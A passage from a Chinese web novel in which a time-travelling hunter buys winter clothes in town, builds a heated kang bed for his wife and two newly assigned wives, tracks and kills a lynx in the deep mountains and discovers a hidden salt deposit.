女子急了,你今天一定要说清楚,不然老娘一定要找人废了你。
虽说自己被后娘赶出家门,但我还有小姨,小姨神通广大,到时候找一群打手揍你。
敢说出去,我就把你那丑东西割了,让你一辈子做不成男人。
陈息见女子确实急了,也不好意思继续逗她,一脸无奈开口道:
“我还以为是狍子皮呢。”
女子盯着陈息,漂亮的脸蛋上青一阵白一阵,三番两次被他戏耍,但姑娘家又还不了口。
要不是想着能同你做点生意,就凭你刚才调笑老娘,老娘定不会饶你。
女子被气的狠喘了几口气,白了陈息一眼没好气道:
“是山宝堂小五推荐你来的吧?”
陈息有些诧异,她是怎么知道的?
我的身份这么快就暴露了?
女子再次白了他一眼,两只小手插在胸前,装成县老爷审案的样子开口道:
“哼,一身草衣、草鞋、下面还围了张狍子皮。”
“而且狍子皮很是新鲜,一点加工过的样子都没有。”
“拿出的钱还是山宝堂串的,结合以上几点。”
“本姑娘不光断定你是山宝堂小五推荐来的,还看出来......”
女子嘴里说起来没完,又伸出那只小手,指尖轻轻点在陈息胸前,大眼睛狡黠的眯成一道线:
“本小姐还看得出来,你是一个猎户。”
“对不对?”
陈息这次真被震惊到了,没想到一个小丫头片子观察得如此仔细,推断的竟然丝毫不差。
有两把刷子啊。
有点小看你了啊。
“姑娘既然都看出来了,那我就不藏着了。”
“那套花袄我要买走,狍子皮是不可能和你换的。”
“说价吧。”
陈息不装了,摊牌了。
狍子皮是要给娘子做毯子的,家中木床凉,冻坏了娘子可不行。
女子见陈息大方承认,心中十分得意随即狡黠一笑。
装?
装不下去了吧?
跟老娘装,你还嫩了点。
但见他不愿用狍子皮交换,女子也不再纠结。
“一套花袄80文,既然你是小五推荐来的,收你75文。”
女子得意地扭过头,摊开小手示意陈息付账。
陈息默默将柜台上的三串钱揣进怀里,另一只手掏出零钱200文放在女子手心。
“这是200文,再给我找双厚实的棉鞋。”
“剩下的钱,再买两套女子穿的袄和棉鞋。”
“都按照你的尺码就好。”
女子掂了掂手中零钱,转身放进柜台,找出一双棉鞋放在花袄旁边。
“贵客稍等,这是小夫人的。”
说着话,女子撇了撇嘴,又抱来两套袄和棉鞋:
“这两身是大夫人和二夫人的。”
“一共200文,小夫人的最厚实,其余两位夫人的质量差些,但也比平常的袄暖和。”
女子嘴里唠唠叨叨没完,显然把他看成娶了新忘了老的渣男。
陈息有些无奈,苦笑着摇了摇头。
这丫头别看年纪小,但家长里短的门清。
大概县里的老爷们都是这样,娶了小娘子,负了老婆娘吧。
随便她怎么想吧,自己没闲心和她解释那么多。
用块做衣服的剩布将三套袄包裹扎紧,扛在肩上一言不发就要出门。
“你就穿这个走?”
慵懒声音传来,陈息回过头,女子又对他翻了个白眼。
女子不知何时怀里抱着一套衣服,丢在货台上。
“这是猎户们喜爱的猎袄,不但保暖还方便淌雪奔跑。”
“这双鞋还能防水,捕个鱼啥的都能用上。”
陈息不好意思地挠挠头,还是女孩子心细,给三个婆娘买完衣服,自己的却忘了。
假装咳嗽两声掩饰尴尬,上前拿起自己那套。
“拆开那串钱吧,130文。”
女子又把小手伸出来,示意陈息付账。
这次陈息更尴尬了,这小丫头片子竟让自己难堪。
连忙拆开一串钱,数出130文递到她手里。
“先走了哈。”
陈息想要开溜。
“慢着!”
女子走出柜台拦住陈息去路,一脸笑嘻嘻道:
“小女子名叫佐千千,不知贵客......”
“陈息。”
“嗷,陈大哥。”
佐千千抬手一指墙上挂着的各种动物皮毛:
“陈大哥若是猎到这些上等皮毛,可卖与千千,价钱好说。”
陈息撇了眼墙上挂着的皮毛,嘴角抽了抽。
就这种破烂工艺,好东西都被你糟践了。
“好说、好说。”
陈息今天耽搁得太久了,还要买些粮食回去,自己进城家里三女还饿着肚子呢。
佐千千还想再和陈息套套近乎,想着今后从他手里收一些皮毛,能认识这种猎户对小铺子来说无疑是件好事。
但陈息没给女子继续攀谈的机会,转身就走,出了门直奔粮食铺。
佐千千站在门口一直目送陈息出了巷子,嘴角弯起一道向上弧度,狡黠的大眼睛眨了眨。
本小姐可不会放过能猎到狍子的猎户。
她有着自己小心思,如今小姨生病了,郎中说只有大白山深处才有的雪灵芝才能医好小姨的病。
常人根本不敢深入大白山,只有一些经验老道的猎户才有这个本事。
但朝廷都将老猎户征召到军队了,新成长起来的猎户连狍子都打不到,更别说深入大山了。
唉!
看来得去找小五聊聊,询问下陈息到底有没有真本事。
对,现在就去。
佐千千办事不拖沓,决定好了立即行动,关闭铺门便向山宝堂行去。
陈息出了巷子,找个没人的地方换上新衣和鞋。
到粮食铺买了些粮食和鸡蛋,又花费300文买了一斤粗盐。
这朝代的盐价好贵,而且只能官府售卖,仅仅一斤粗盐便花费300文。
陈息的心在滴血,看来今后得自己提纯精盐,不然真的吃不起。
又买些针头线脑等家中应用之物。
早晨进城,如今已到午时。
娘子在家一定等着急了。
出了城,一路跑步回家。
第一卷 第14章 秦瑶、白蓉蓉、各怀心思
陈息用了不到一个时辰,便回到了窝窝村,在村口遇见了在院内劈柴的张婶。
“张婶好啊。”
大大方方打招呼,他是个感恩的人,张婶不惜得罪村长为他作证,他便加倍对张婶好。
“哎呀小息你回来啦。”
张婶放下斧头急匆匆出了院门,见陈息大包小裹地拿着不少东西。
先是怔了一瞬,便猜出陈息是将狍子卖了换些东西回家。
“谢谢你啊小息,还叫你娘子给我送来野兔......”
张婶将早上樊妍送来半只野兔给自己,又将另半只野兔分给其他几个妇人的事说了一遍。
“应该的张婶,平时您都没少接济我娘子,现在我病好了,以后猎到肉食还要送给张婶呢。”
陈息说的并不是客套话,自己傻的那段时间,张婶没少接济樊妍。
现在自己来了,这段恩是必须要报的。
张婶见陈息如此知道感恩,心里暖烘烘的。
但见他买了那多么多东西,一定花了不少钱,立即推脱道:
“张婶不要小息送,你这孩子省些花钱,下月还要交四份人头税呢。”
一想到人头税,张婶眉头就深深皱起,左右看了看没人,拉着陈息小声叮嘱道:
“今早我无意听张保全和两个送亲队的大人说......”
张婶再次四下张望,确定了附近没人后,凑近了陈息耳边:
“你的四份人头税要涨价。”
“平时一个人头税是五串钱,他们故意将你的价格提到了七串钱。”
陈息突的剑眉一挑,人头税是固定的钱,那可是朝廷定下的数额,岂是下面这帮人说改就改的?
“我还听他们说,今早给你送的那两个婆娘,是官宦人家的小姐,家中男人都被杀头了。”
“女人成了犯妇送到送亲队,到时候嫁出去朝廷收税。”
听完张婶说话,陈息顿时恍然,原来如此。
回想早上时,两女是被锁链锁住押来,当时自己没多想,原来是这样啊。
怪不得两女不似寻常女子,柔柔弱弱根本不像是能干活的样子。
御姐识字还会算账,小萝莉会做女红。
敢情都是官宦家里的小姐啊。
“谢谢张婶,我知道了。”
两个婆娘的身份他知道了,还知道了张保全和两位大人的毒计,陈息心里再度警惕起来。
七串钱么?
呵呵,我倒要看看你们怎么拿。
“嗯,小息有了猎户手艺,以后注意安全多狩猎,交不齐人头税要被充军的。”
张婶又叮嘱了好几句,听着附近有其他村民走动的声音,最后才一脸担心地送陈息离开。
唉,可怜的小息。
那两个婆娘长得倒是水灵,可肩不能担手不能提的,娶到家有什么用嘛。
摇摇头叹息一声,继续干活去了。
陈息回到家中,见三女正坐在床上等着自己。
“呀,夫君你回来啦。”
樊妍见陈息大包小裹的,连忙上前接东西。
秦瑶和白蓉蓉也学着樊妍模样,上前帮忙接东西。
“呀,夫君这是买了好些精粮呀,还有鸡蛋。”
樊妍一脸吃惊的望着陈息,那可是精粮啊,穷苦人家一年也吃不到几次。
这次陈息竟买了满满一大口袋。
至于鸡蛋更是想都不敢想,寻常农家的鸡蛋都舍不得吃,到县里换成粗米回来。
可陈息还买了这么多。
“还有盐......”
樊妍每打开一个包裹都震惊一下,她从未见到过这么多好东西。
在她的世界里,能吃饱饿不死就是最大的奢求了,从未幻想过能吃到这么好的东西。
“哎呀,这是针线。”
白蓉蓉打开一个包裹眼睛一亮,自己在家时学的女红,这是官宦人家小姐的必备技能。
拿着针线包在手里爱不释手,有了这东西,才能体现自己的家中价值。
等这些米粮吃光了,陈息要是想吃人,也不能第一个吃自己。
虽然樊妍给自己和秦瑶讲了一上午陈息不会吃人的事。
但她那聪明的小脑袋瓜还是不信。
长得那么凶,没粮食了一定会吃人的。
先吃秦瑶,她什么都不会,对,一定先吃她。
白蓉蓉捧着针线,小脸激动红红的,这可是自己保命的依仗。
秦瑶帮着樊妍把东西归置好,却发现没一样自己能用的。
自己引以为傲的识字和算账本领,在这个家里根本用不上。
识字算账有什么用呀,又不能当饭吃。
羞愧的低下头,两脚并拢,像个犯错的孩子。
想着自己以后的困境,眼泪不自觉的滴答滴答往下掉。
连抽噎都不敢出声,就那么可怜巴巴的站在那里。
整个家里就属自己没用,不敢抬头去看他们,尤其是陈息。
白蓉蓉见秦瑶那副样子,心里也不好受。
早上她还护着自己呢,但......
但谁叫她最没用呢,别怪妹妹啦,妹妹也自身难保的。
白蓉蓉有些歉意的扭过头去不忍看秦瑶,心中不断的提醒自己。
不能帮她,不能帮她,先吃她,先吃她。
见三女把东西都归置完了,陈息才放下最大的包裹。
解开包裹,露出里面一套漂亮的花袄,和两套普通的布袄。
秦瑶和白蓉蓉都看见了里面的袄,心想着会不会有自己的份。
不见到袄还好,可见到了以后,不自觉的捏了捏身上的破衣裳。
薄薄的一层,凉风从裤腿灌入,顿时打了个冷战。
二女不由得抱紧了身子,眼睛看着袄,止不住的渴望。
她们原来是有衣服的,而且还很不错。
只是家里被官府抄家,男人都杀头了,留下女人押到牙行的送亲队。
到了送亲队第一天,她们的衣服就被别的强壮女子抢了去。
懦弱的她们不敢反抗,只能选择妥协。
再之后随着送亲队去了好些个村子,那些男人见她们身子骨弱不能干活,导致她们一直没被领走。
这个战乱饥荒年头,漂亮是不值一提的,选婆娘都选能干活的。
由于她俩没人要,在县里牙行常常被欺负,每天只给一顿稀食根本吃不饱。
由于嫁不出去,县里收不到人头税,衙役们更是对她俩非打即骂,拿大锁链锁住她们。
想寻死都寻不成。
后来听说被领走的女子,不少都被吃了,吓得她俩心里留下了两平方米的阴影。
今早被押来窝窝村,嫁给眼前凶巴巴的陈息。
也不知是福是祸。
“来,娘子穿这个。”
陈息拿起花袄套在樊妍身上,樊妍简直惊呆了。
她哪里见过这么好看的袄,更别提穿了。
摸摸这厚实的手感,穿在身上暖烘烘的。
眼里泛起晶晶泪光,连连推脱:
“夫君,这袄好贵的,我......我不能穿。”
陈息则是不管不顾,霸道地帮樊妍穿上,棉裤也帮她穿好。
樊妍执拗不过,只能随着他。
穿好了新袄,脱下她那双草鞋,陈息皱了皱眉。
将樊妍的小脚放在自己腿上,拿起兔油轻轻抹在裂口处。
自己真是粗心,以前只注意到了手上裂口,没想到小脚上也有。
若是大意患上了冻疮,可不得把自己心疼死。
抹好了兔油,帮她换上新买的棉鞋。
嘿,大小正合适。
佐千千那丫头片子倒是挺靠谱的,根据袄的大小配的棉鞋也合适!
不多时便将她焕然一新,再次看向她时,樊妍早已泪流满面。
感动得稀里哗啦的,长这么从没人这么在乎过自己。
“夫君......”
樊妍将小脸埋在陈息怀里,小声抽噎着。
陈息将她抱在怀里声音温柔:
“先对付穿着,过些日子为夫给你做一身高贵皮草。”
豹纹大衣、豹纹内衣、豹纹内裤、豹纹丝袜......
必须提上日程。
这可是老子未来的性福。
将樊妍抱在怀里温存了好一会,陈息才抬眼看向秦瑶和白蓉蓉。
二女见陈息视线扫来,迅速把头低下,双手紧张的捏着衣角。
秦瑶:这就要动手了么?
白蓉蓉:先吃她,先吃她。
第一卷 第15章 火炕
二女像受了惊的兔子,站在那里一动不敢动。
陈息有心逗逗她们,来到二女身前站定。
见他过来,二女身子哆嗦着的贴在一起。
瞧她们怕成那样子,陈息也觉得自己有些过分。
唉。
不禁吓啊。
“去把袄穿上吧,看你们冷的都哆嗦了。”
二女闻言有些渴望的看了眼床上的袄,目光迅速收回来,依旧站在那里不动。
陈息一捂脑门,随即摇头苦笑。
看来这俩婆娘确实被自己吓怕了,一股罪孽感油然而生。
自己是不是太过分了?
一脸无奈的看向樊妍,咋办啊?她俩害怕自己。
樊妍正在感动,但见二女被陈息吓怕,有些好笑,又有些气恼。
人家小姑娘哪里有什么胆子,你还吓唬她们。
白了陈息一眼,随即上前来拉住二女的手。
“不要怕,夫君没有恶意的,跟我来。”
樊妍显然比陈息好用多了,二女任由樊妍拉着,心里不再那么惊慌。
贴心的帮二女穿上新袄,虽然不比自己的花袄厚实,但也是上等的好袄。
比村中其他女子穿的都要暖。
二女感激的望着樊妍,心里升起一股暖流。
这位大夫人真好,自己今后一定要努力和大夫人搞好关系,才不会被吃掉。
二女心里同是这般想着。
樊妍像个大姐姐般贴心,帮二女换上新袄、新鞋。
“你们的脚也冻伤了呀,我帮你们擦擦。”
说着话,樊妍拿起兔油就要帮二女涂抹。
陈息则是眼睛一瞪。
目光如利剑般扫过二女。
咋滴?
还想让我娘子帮你们不成?
二女被陈息的眼神吓了一大跳,连忙抢过兔油,嘴里同时喊着:
“不用...不用的大夫人.....我们以后伺候您,不敢的不敢的......”
“大夫人您坐,您坐,我们自己来便好......”
二女抢过兔油,既不敢让樊妍帮忙,也不敢自己涂抹。
这珍贵的兔油,没有陈息的命令,她俩是不敢动的。
樊妍见二女吓成这个样子,回过头瞪了陈息一眼。
看把两个小姑娘吓的,人家嫁给了你,就好好对人家嘛。
陈息则是尴尬的挠了挠头,被娘子发现了哈。
不过规矩就是规矩,哪有大夫人侍候两个小丫头片子的。
陈息不说话,樊妍再次白了他一眼。
虽说陈息刚刚瞪了二女一眼,但樊妍心里还是暖呼呼的。
试想,哪个女人不求名分呢。
在这个古代社会,夫人间的竞争并不比男人在外面的竞争少。
只是樊妍温柔善良的性子,看不得两个小姑娘受苦罢了。
至于竞争家中地位,她想都没想。
反正跟着夫君便是了,至于他以后负不负自己她都不在乎的。
有个男人这么关心在乎过自己,一生便足以了。
无论夫君以后变成什么样子,她都不会怪他的。
“那你们自己涂抹吧,别染上了冻疮。”
樊妍温声安慰着二女,生怕她俩吓坏了。
以后还要在一起生活呢,这个家可别搞得像乡绅土豪家里一样,还有个上下等级之分。
“谢谢大夫人,谢谢大夫人。”
二女得了樊妍允许,才敢用兔油涂抹脚上裂口。
一切都忙好了,陈息嘿嘿一笑才从怀里将小五送的糕点拿出来。
打开盒子,一共三块糕点。
糕点切得很是规整,上面还撒些贵妇人们爱吃的桂花片。
香气四溢,弥漫小屋。
“娘子,这是给你的糕点,不凉哈,我放在怀里一直暖着的。”
三女闻着糕点香气,肚子竟同时咕咕叫起。
家中唯一的一只野兔,被樊妍送给张婶她们了。
她一直等着陈息从县里回来,期间只吃了几个坚果充饥。
而秦瑶和白蓉蓉更不用说了。
她俩最近的一顿饭,还是昨日中午在牙行吃的一小碗剩粥。
经历了一早上的长途跋涉,到家中又被陈息恐吓,惴惴不安的度过了一个上午。
连大夫人递来的坚果二女都没敢吃,此时见香气四溢的桂花糕,更是饿的前胸贴后背。
望着桂花糕,止不住的吞咽口水。
陈息本想着三块糕点都给娘子吃,不给那两个小丫头吃。
刚想说出口,便对上樊妍幽怨的眼神。
悻悻的把到了嘴边的话又收了回去。
“来,一人一块。”
樊妍将两块桂花糕分给秦瑶和白蓉蓉。
两女不敢拿,一边吞咽着口水,一边可怜巴巴望着陈息。
“拿着吃。”
樊妍知道两女饿急,不由分说将糕点塞到二女手里,将剩下的一块递给陈息。
“夫君也吃。”
陈息摇头叹了一口气,这傻娘子啊。
对待别人总比自己好,这份善良心性必须要改改。
乱世饥荒年,这样善良会害了你的。
好在自己及时穿越而来,不然很难想象这样的女人怎样才能生存下去。
“这糕点是妇人们吃的,我一个大老爷们不喜欢这个。”
陈息转身出屋,他知道自己在这里,三个女人都不好意思吃。
找出铲子开始干活。
必须将以后睡觉的问题解决了,家里只有一张木床,四个人怎睡得下。
窝窝村虽说是小村子,但胜在背靠大山,周围黄土很多还有河沙。
前身哥哥曾想盖个小屋给自己住来着,但屋子还没盖就死了。
留下了不少材料,倒是方便了他。
弄好黄土河沙,打来井水开始和泥。
和好了泥,搬来石头开始修炕。
没错,就是火炕。
这个时代的百姓还不懂火炕的妙用,自己就把这种东西造出来吧。
由于缺乏知识,每到冬季都会冻死不少穷人。
朝廷这几年打仗,冻死的人更多。
壮劳力被征召,导致每个村子都以老人、妇女、孩童居多。
家中少了壮劳力,周围还有土匪虎视眈眈,日子过的很是艰难。
家家自扫门前雪,不管他人瓦上霜。
陈息不是圣人心怀家国天下,只一心把自己的小日子过好再说。
几女穿着新袄,在屋内将糕点吃完,肚子里有了食物,浑身暖洋洋的。
见陈息不知道在忙活什么,几女出门要搭把手。
陈息也不拒绝,虽然几女干活很是笨拙,他也没显得不耐烦。
从今天开始,这便是大家的家,人人都要出一份力。
秦瑶和白蓉蓉有了参与感,心也逐渐放下来。
只要陈息不嫌弃自己就好,听说他还是猎户,身上的袄便是他打狍子换来的。
若真有这活计,一家四口人生存下去也不会太难。
将所有烦恼都抛去,一心一意跟随陈息干活。
通过一起动手干活,二女也渐渐开朗起来,时不时的还能互相打趣几句。
一种温馨家庭感,逐渐而生。
在陈息外面又修了烟囱,夜幕时分便将火炕搭好。
燃起灶,樊妍带着二女开始忙活着做晚饭。
在陈息的强烈要求下,下了一锅精米,陈息又亲自动手做了个蛋汤。
一顿饭,吃的几女很是满足,可是好久没吃到过精米了。
香喷喷的米饭配上加了粗盐的蛋汤,这顿饭吃的非常香甜。
秦瑶和白蓉蓉的脸上也露出了这个年纪该有的笑容。
收拾好碗筷,开始为了睡觉问题苦恼。
几女你看看我,我看看你,最后把目光投向陈息。
一家之主。
火炕暂时还不能用,必须要烘烤一夜把泥沙中的水分蒸发才能睡人。
“你们两个今夜轮流往灶中续柴。”
陈息分配工作,秦瑶、白蓉蓉二女欣然应允。
正愁没事做怕惹陈息不悦。
樊妍拉住陈息衣角,轻声问道:
“那夫君呢?”
陈息神秘一笑道:
“我去收猎物可能会晚些回来,你们不必等我。”
木床很小只能同时睡两人,一人续火两人休息,正好。
天黑得很快,陈息担心猎套上的猎物,安排好了家中工作,背上猎弓等物便起身出门。
坚毅的背影,在樊妍依依不舍的目光中渐渐消失不见,随后轻声呢喃:
“夫君...早些回家。”
第一卷 第16章 富贵险中求
西坳岭。
陈息轻车熟路,沿着此前自己的脚印仔细观察。
随后点了点头,附近没有发现其他人足迹,和自己猜想的一样,村民们都不敢上山。
一共下了七个猎套,不多时陈息便到了第一个猎套处。
离得老远,雪地中央便清楚的看到一个小黑点。
嘿嘿,来了。
三步并作两步迅速上前查看。
这可是第一次下猎套,陈息此时的心情溢于言表。
虽说自己是野外生存专家,下猎套这种事太熟练不过。
但在这个陌生的古代社会第一次做,心中还是有些忐忑。
“嘿嘿,大灰兔。”
此时一只大灰兔,脖子卡在猎套圈口里早已毙命。
丝丝血迹渗出皮毛之外,显然挣扎了许久。
不过陈息的猎套专门对付这种猎物的,猎物越挣扎猎套勒的越紧。
解下大灰兔,拿在手里掂量掂量,虽说比不过上次那只,但也要有六七斤。
而且皮毛浓密,是块好料。
但这种料子陈息看不上,想起县里佐千千铺子中挂的皮料,想着多攒一些倒是可以卖给她。
收了兔子,再次按照兽痕挂好猎套。
下一个。
陈息一路走,一路收,已经收了六个猎套。
不知是陈息幸运,还是猎物繁多,每个猎套中都有一只猎物,这次收获出奇的好。
四只野兔,两只野鸡。
当来到第七个猎套时,陈息眼中突然凝重起来。
远处雪地上一小片血迹引起他的注意。
来到近前。
猎套周围全是野鸡毛,还有一块被啃食掉渣的骨头。
拿起残骨放在手中仔细观察,骨骼上甚至还有尖尖的牙印。
再看向雪地上留下的兽踪。
一排椭圆形的脚印清晰可见,脚印宽度与成年人食指相当,前面两个脚趾印稍大,后面两个脚趾印稍小。
脚印中间一朵类似梅花般的肉垫印记。
一条笔直的脚印指向大山深处。
看看脚印深度,心里已经有了确切答案。
猫科动物,后脚踩着前脚足迹行进,估摸着大约60多斤。
一种猎物的形态在脑中逐渐成型。
“猞猁。”
陈息咧嘴一笑,中型猫科动物猞猁,最珍贵的就是一身皮毛。
在后世可是极具有钱人追捧的存在。
柔顺、绵软、高贵、保暖。
陈息嘴巴都要咧到耳朵根了。
吃了我的野鸡,就这么开溜了?
嘿嘿!
陈息急着去寻它,将猎套换个位置再次固定,反正大雪封山还有清晰的兽痕。
那猞猁是丢不了的。
忙活好了一切,陈息开始沿着脚印追踪。
猞猁活动范围很大,追了半个时辰总算在一片林子中脚印突然消失不见。
脚印不见了,那么只有一种可能。
迅速向树上看去,树干处有爪痕。
沿着树干向上看去又毫无猞猁身影。
陈息皱了皱眉再次看向地面足印消失的位置和树干上的爪痕。
这一跃,至少有3米。
结合刚才推断的重量,成年雄性猞猁无疑。
“呼——”
重重呼出一口气,开始环视周围大树。
陈息来时并没有仔细观察位置,此时不知不觉间已经来到了深山入口。
周围村民连西坳岭这种浅山都不敢入,更别说深山了。
深山可是大型猛兽的领地,这里物产丰富同时也伴随着巨大危险。
一般老猎人到深山狩猎,都需多人结伴同行,并配备大型弩箭以防万一。
如今只有陈息一人深夜进山,危险程度可想而知。
回去?
想想那高贵的皮毛又不甘心。
不回去?
以陈息目前的装备倒是不怕猞猁,但熊瞎子呢?成年雄性野猪呢?还有那森林之王呢?
想了片刻钟,狠狠一咬牙。
踏马的,富贵险中求。
如今家里四口人吃饭,还有那一月后的人头税,还有张保全和两位大人的算计。
在这个社会,不是你不想招惹别人就能免于欺负的。
陈息深深知道这个道理。
只有自身实力强硬,才能有尊严的生存下去。
以前倒是无所谓,惹不起可以躲。
但现在不一样了,有那么贤惠善良的娘子,还有两个同样苦命的女人跟着自己。
四个人的命运已经被牢牢锁定。
自己若是走了,等待她们的命运会是什么呢?
用屁股想都知道结果。
丢下她们,陈息是万万做不到的。
“人死吊朝天,活着万万年!”
“干了!”
陈息眼眸锋利如刀,心中有了决定,动作不再迟疑。
进深山!
周围树木粗壮彼此间隔很远,这颗树上没有猞猁身影,想必是跃到其他树上了。
仔细观察树木上的爪痕,大致推断了猞猁行进路线,开始一路进山。
不多时,陈息立在一棵两人环抱的大树下,盯着树干上的爪痕一动不动。
脊梁冷飕飕一片鸡皮疙瘩迅速布满全身,那种被猎物盯上的直觉又来了。
转身看向直觉传来的方位,空空如也。
不对劲,一定是那里。
目光迅速上移,在树杈上看到两团绿色幽光一瞬不瞬的盯着自己。
陈息见到绿光后,顿时大松一口气。
“是你,就好办了。”
那头大猞猁。
运气真的不错,这要是碰上了其他猛兽,今天自己的小命恐怕就要交代在这里了。
陈息悄悄拿出猎弓,那两团绿光不为所动。
弯弓搭箭。
见人类有这举动,猞猁也动了,身子弓起匍匐在树枝上,嘴巴子发出嘶嘶音波。
阵阵白雾从口鼻中吐出,威胁着陈息退出它的领地。
露出尖尖的獠牙,锋利的爪子已经扣在树枝上,随时准备进行攻击。
屏气凝神,调整呼吸,猎弓被陈息拉成满月。
猞猁不断地用爪子刨着树枝,厚实的树皮被不断抓碎,口中嘶嘶声逐渐加大。
“嗖——”
一道破空声,羽箭如流星般射出。
伴随着一道尖锐的叫声,猞猁中箭。
由于猞猁早有防备,导致陈息的羽箭并没有射到致命部位,只射中了后爪。
剧烈的疼痛传来,猞猁意识到敌人强大,拼命逃跑。
由于后爪受伤,不能在树林中穿行,一跃到雪地开始往深山逃窜。
“踏马的,追!”
陈息也是有些意外,自己的射术应该不至于这么烂。
按照以前的成绩,这么近的距离,误差绝不会超过一厘米。
这猎弓和羽箭还是不行,回去后第一件事就要是自己动手打造一把趁手的武器。
但那些都是后话,眼前首要的任务是追击猞猁。
猞猁的动作快,陈息也不慢。
一人一猞猁你追我赶,不多时便挺进大山深处。
随着陈息的紧追不舍,猞猁逐渐体力不支,后爪已经被鲜血染成殷红。
见猞猁行动变慢,陈息找准机会再射一箭。
“嗖——”
“噗——”
这一箭直直命中猞猁,巨大的力道贯穿整个猞猁脖子,趴在雪地上抽搐几下随即不动。
“呼呼呼——”
陈息呵次带喘的跑到近前,见猞猁已经死透,拔出羽箭坐在地上休息。
这次狩猎猞猁比上次追傻狍子轻松多了,但也消耗了陈息许多体力。
要不在晚上吃的米饭鸡蛋汤,估计还要缓上许久。
恢复了体力,陈息仔细观察眼前战利品。
“啧啧啧。”
果真如自己猜想一样,成年雄性猞猁。
体重大约在70斤左右,比预想的还要大一些。
雪地上有大片猞猁留下的鲜血,陈息知道此地不宜久留。
大型猛兽对血腥味是很敏感的。
说不定此时正朝着这边赶来。
扛起猞猁正准备离开的时候,陈息突然瞥见了一丝不寻常。
按道理说大雪封山,此处应该到处是积雪才对,怎么?
前面山崖下方,一片裸露在外的红色岩层引起陈息注意。
莫不是?
好奇心驱使一下,陈息快步到来近前。
不光此处红色岩层覆盖,附近还有好些动物的足迹。
梅花鹿、马鹿、狍子、兔子、旱獭等食草动物的足迹在这里都能看到。
卧槽。
陈息心中大为震撼。
这些动物都出现在这里,而且还刨开了积雪露出里面的红色岩层。
陈息激动的用手指在岩层上刮了刮,随后放到嘴里尝了尝。
砸了咂嘴顿时眼睛放光,果然和自己猜想的一样。
忍不住仰天大笑一声。
“哈哈哈,发财了!”
“盐矿!”
第一卷 第17章 高品质盐矿
陈息为自己这一惊天发现震惊当场。
动物舔食的盐层证明是无毒的,而且纯度很高。
顺着盐层望去,整个山崖下方应该都是岩层。
而且向下挖,还会出现这种盐层。
有了盐层,可解决了眼前的麻烦。
盐即便是朝廷严格管控,但以陈息的智慧,偷摸卖一些应该问题不大。
而且他不会整块的卖,拿回去必须要提纯出精盐。
一来是混淆视听,二来是敛财获利。
至于怎么提纯?
中学生都会的问题,但在这个时代还不会而已。
百姓家吃的是粗盐,一股子酸味。
达官显贵吃的也强不了多少,精盐一旦出现必是天价。
陈息砸出一块岩层揣在怀里,四下看了看。
此处位置极为隐秘,而且属于深山之中猛兽众多,根本不会被外人发现。
还是尽快出去,否则有危险。
扛起大猞猁沿着来时的路迅速出山。
一路上倒是碰见些小型食草动物,但他也无暇分神一心只想快速出山。
出了深山,陈息悬着的一颗心总算放下。
今天的发现无疑是巨大的,好日子就在眼前。
将盐层的位置深深印在脑海,这才美滋滋的来到东坳岭。
检查一下鱼获怎样。
拉着绳子。
咦?
这么重么?
双手死死用力拉动绳子,费了好半天劲才将鱼篓拉出水面。
将鱼篓里的东西倒在雪地上,几条大鱼映入眼帘。
在雪地上蹦跶几下迅速结冰,冻成个冰疙瘩。
“嘿嘿嘿。”
七条大鱼,每条都有四五斤重,还有十几条小鱼也在两三斤左右。
其余一些小鱼他还看不上,丢回水里。
“还有这么多林蛙?”
陈息丢出小鱼,露出里面的林蛙。
红红的肚皮圆滚滚的,这里面可都是好东西啊。
陈息双目放光,但家里都是女孩子,直接吃林蛙她们会不会害怕?
还是取其精华吧。
陈息想了想,还是用最稳妥的方式处理吧。
将公蛙放生,把母蛙肚里的籽和蛙油取出。
忙活了好一会,才凑出不到半斤。
堆了一个雪团,包裹住里面的好东西,再将母蛙的身子放进鱼篓做饵料。
将鱼篓再次放入水塘,做好了一切,带着一大堆猎物回家。
今晚的收获不菲。
一只70斤重的大猞猁、四只野兔、两只野鸡、还有这么多鱼。
这么多东西,自己得想个办法一次性运回家里。
砍了一根粗大的松枝,将所有猎物都放在松枝上,在雪地里拖着回家。
这样省了不少力气。
此时已经是深夜村民都已熟睡,不需要担心财不露白的问题。
村民虽然淳朴,但难免有些偷鸡摸狗之辈,自己这么大摇大摆的带着猎物回村,终究会引来些不速之客。
他正处于发展期,不想惹太多麻烦,做事能低调则低调。
夜深人静,窝窝村家家闭户安睡。
陈息带着满满的收获回家。
推开院门便看到柴门内有光亮,想必是几女还在烧炕。
“是夫君吗?”
樊妍的声音传来,陈息眉头一皱。
自己不是已经分配好工作了嘛,不是叫秦瑶和白蓉蓉二女交替烧炕嘛。
樊妍怎么没睡?
陈息心中有些怨气,哪有让大夫人干活的道理,一定要好好收拾收拾两女。
“娘子我回来了。”
陈息带着猎物,几个大步就到屋前,咯吱一声,屋门从内打开。
樊妍一张小脸被火烤的红扑扑的,见陈息回来顿时露出笑容。
悬着的一颗心总算放下。
紧接着就看到陈息拖着一根大树枝,可能是没猎到猎物吧,顺便找些柴回来。
樊妍并没有失望,听老人说,猎户进山狩猎,并不是总能打到猎物。
空手而归是常有的事,只要安全回家,比什么都强。
连忙上前仔细查看陈息身体,看看有没有受伤,左摸摸右摸摸发现没有受伤才放心。
“夫君回来就好,没猎到猎物不要紧,快回屋暖和暖和。”
陈息松开树枝,一脸阴沉的进屋。
第一眼就瞧见秦瑶、白蓉蓉两女在床上睡着,脸色瞬间垮了下来。
见陈息脸色不对,樊妍立即挡在身前。
“夫君莫怪,这些柴都是她们烧的,我只是睡不着担心你,才让她俩睡的。”
一把将樊妍搂在怀里,心疼的揉了揉她脑袋:
“娘子莫担心,夫君这不是完好的回来了嘛。”
“嗯。”
陈息还是对樊妍的话将信将疑,是不是两女欺负她干活,自己则跑去睡觉了。
听见屋内对话声,秦瑶、白蓉蓉两女也醒来。
揉了揉惺忪眼睛,之后便对上陈息那张阴沉的脸。
“呀,夫......夫君回来了。”
“我们...我们干活了,是......是大夫人让我们睡的......”
两女望着陈息惊慌的不知所措,坏了闯祸了,自己刚睡没一会夫君就回来了。
完了完了,这次麻烦可大了。
“起来干活。”
陈息没个好气,娘子惯着你们,我可不惯着。
二女忙不迭起身,来到灶前续柴。
委屈、埋怨、在陈息脸色下统统不敢有。
突地一阵轻微疼痛从腰间传来,樊妍对上陈息满脸幽怨:
“我都说了,是我让她俩睡的,夫君怎地还不信我。”
“哎哟哟娘子,我信我信。”
见樊妍有些气恼,陈息立即换成一副嬉皮笑脸,脸色转变之快逗得樊妍忍俊不禁。
樊妍从床头拿出一顶红帽子戴在头上,对着陈息欣喜道:
“夫君你看,这是上次你做的半个松鼠帽子,蓉蓉拿去改了改,现在正合适。”
